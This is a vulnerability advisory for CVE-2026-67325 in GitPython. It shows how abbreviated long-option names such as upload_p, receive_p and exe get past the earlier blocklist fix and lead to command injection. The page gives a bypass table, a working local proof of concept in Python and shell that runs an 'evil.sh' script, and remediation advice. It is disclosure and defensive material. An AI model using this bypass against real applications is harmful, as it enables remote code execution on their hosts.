CVE-2026-67325: GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist
Command injection via long-option prefix abbreviation bypassing checkunsafeoptions (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) Component: gitpython-developers/GitPython (PyPI: GitPython) Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42) Reporter: hackkim Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options…
Published Jul 21, 2026 · Updated Sep 8, 2026
Affected packages
GitPython
- Ecosystem
- PyPI
- Affected
- <= 3.1.50
- Fixed in
- 3.1.51
- Check
pip show GitPython
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)
Component: gitpython-developers/GitPython (PyPI: GitPython) Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42) Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.
The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.
The asymmetry (root cause)
# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
option_name = option.lstrip("-").split("=", 1)[0]
option_tokens = option_name.split(None, 1)
if not option_tokens:
return ""
return dashify(option_tokens[0]) # only transform: "_" -> "-"
@classmethod
def check_unsafe_options(cls, options, unsafe_options):
canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
for option in options:
unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
if unsafe_option is not None:
raise UnsafeOptionError(...)The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.
Affected code (commit 20c5e275)
| Location | Role | | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |
Bypass keys (verified)
| kwarg key | git resolves to | path | weaponizable | | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |
Minimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):
import os, stat, tempfile
from git import Repo
work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")
# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)
bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)
# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
pass # git aborts with GitCommandError AFTER the payload executed
print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmedEquivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.
Confirmed behavior:
upload_pack(exact) → blocked;upload_p(abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.allow_unsafe_options=Trueopt-out behaves as documented (out of scope).
Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.
On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.
Suggested remediation (any one)
- Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈
startswithon the blocked canonical name, afterdashify). - Disable abbreviation at the sink: pass
--end-of-optionsor invoke git in a way that disables long-option abbreviation. - Allowlist option names on security-sensitive subcommands instead of a blocklist.
Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.
Credited to hackkim, abhiprd2000.
References
- https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx
- https://github.com/gitpython-developers/GitPython/pull/2161
- https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285
- https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51
- https://nvd.nist.gov/vuln/detail/CVE-2026-67325
- https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation
- https://github.com/advisories/GHSA-2f96-g7mh-g2hx
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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